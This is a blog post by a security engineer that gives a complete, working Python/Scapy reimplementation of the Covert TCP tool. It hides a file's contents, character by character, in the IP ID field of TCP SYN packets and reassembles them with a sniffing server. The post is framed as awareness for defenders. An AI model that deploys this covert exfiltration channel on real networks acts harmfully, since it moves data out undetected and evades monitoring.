Covert Tcp - Scapy Version
Marjan Sterjev
IT Engineer | CISSP | CCSP | CEH (Master): research | learn | do | MENTOR
Covert Tcp is one of the tools for covert communication mentioned in the white hacking courses. Instead of sending information in the TCP/IP packet payload, the tool manipulates the TCP/IP headers. The logic is as simple as:
The C code is a little bit verbose and deals with the (complex) socket structures (iphdr, tcphdr, sockaddr_in), packet checksum calculation etc.
What if we have a tool that simplifies raw packet manipulation, having sensible defaults?
Scapy is such Python based tool for interactive packet crafting and manipulation. This tool has excellent documentation with a lot of practical examples and recipes.
The Covert TCP implementation with Scapy is really simple.
The client will send the 'secret' text through TCP/IP SYN packets with modified IP ID fields as:
with open(file, "rt") as infile:
while True:
char = infile.read(1)
if not char:
break
print(char)
packet = IP(src=src, dst=dst, id=ord(char)) / TCP(
sport=src_port, dport=dst_port, flags="S"
)
send(packet)
time.sleep(1)
Note the character injection part, i.e. id = ord(char).
The server receives the message by sniffing the traffic received with very specific Berkeley Packet Filter (BPF):
领英推荐
outfile = None
def process_packet(packet):
char = chr(packet["IP"].id)
print(char)
outfile.write(char)
. . . . . . . .
global outfile
outfile = open(file, "at")
outfile.writelines(["\nCovert Tcp started...\n"])
bpf = f"tcp and src host {src} and src port {src_port} and dst host {dst} and dst port {dst_port} and tcp[tcpflags] == tcp-syn"
print(f"Listening with BPF filter:\n{bpf}")
sniff(filter=bpf, prn=process_packet, store=0)
Note the character extraction part, i.e. char = chr(packet["IP"].id).
The complete server/client program is given below:
import getopt
import sys
import time
import atexit
from scapy.all import IP, TCP, send, sniff
outfile = None
def process_packet(packet):
char = chr(packet["IP"].id)
print(char)
outfile.write(char)
def exit_handler():
if outfile is not None:
outfile.close()
def main():
atexit.register(exit_handler)
server = False
try:
opts, args = getopt.getopt(sys.argv[1:],"",
["src=", "dst=", "src-port=", "dst-port=", "file=", "server"])
except getopt.GetoptError as err:
print(err)
sys.exit(2)
for o, a in opts:
if o == "--src":
src = a
elif o == "--dst":
dst = a
elif o == "--src-port":
src_port = int(a)
elif o == "--dst-port":
dst_port = int(a)
elif o == "--file":
file = a
elif o == "--server":
server = True
else:
print(o)
assert False, "unhandled option"
if server:
global outfile
outfile = open(file, "at")
outfile.writelines(["\nCovert Tcp started...\n"])
bpf = f"tcp and src host {src} and src port {src_port} and dst host {dst} and dst port {dst_port} and tcp[tcpflags] == tcp-syn"
print(f"Listening with BPF filter:\n{bpf}")
sniff(filter=bpf, prn=process_packet, store=0)
else:
with open(file, "rt") as infile:
while True:
char = infile.read(1)
if not char:
break
print(char)
packet = IP(src=src, dst=dst, id=ord(char)) / TCP(
sport=src_port, dport=dst_port, flags="S"
)
send(packet)
time.sleep(1)
if __name__ == "__main__":
main()
Run the server as:
sudo python covert_tcp.py --src 192.168.1.10 --dst 192.168.1.20
--src-port 8081 --dst-port 8082 --file output.txt --server
and the client as:
sudo python covert_tcp.py --src 192.168.1.10 --dst 192.168.1.20
--src-port 8081 --dst-port 8082 --file input.txt
Long story short: all actors, regular and malicious, have powerful tools at their disposal. Creating various sophisticated tools does not always require kernel level programming skills. Understanding and being aware about these libraries will help Cybersecurity defenders prepare for various possible attack and data exfiltration scenarios.
Marjan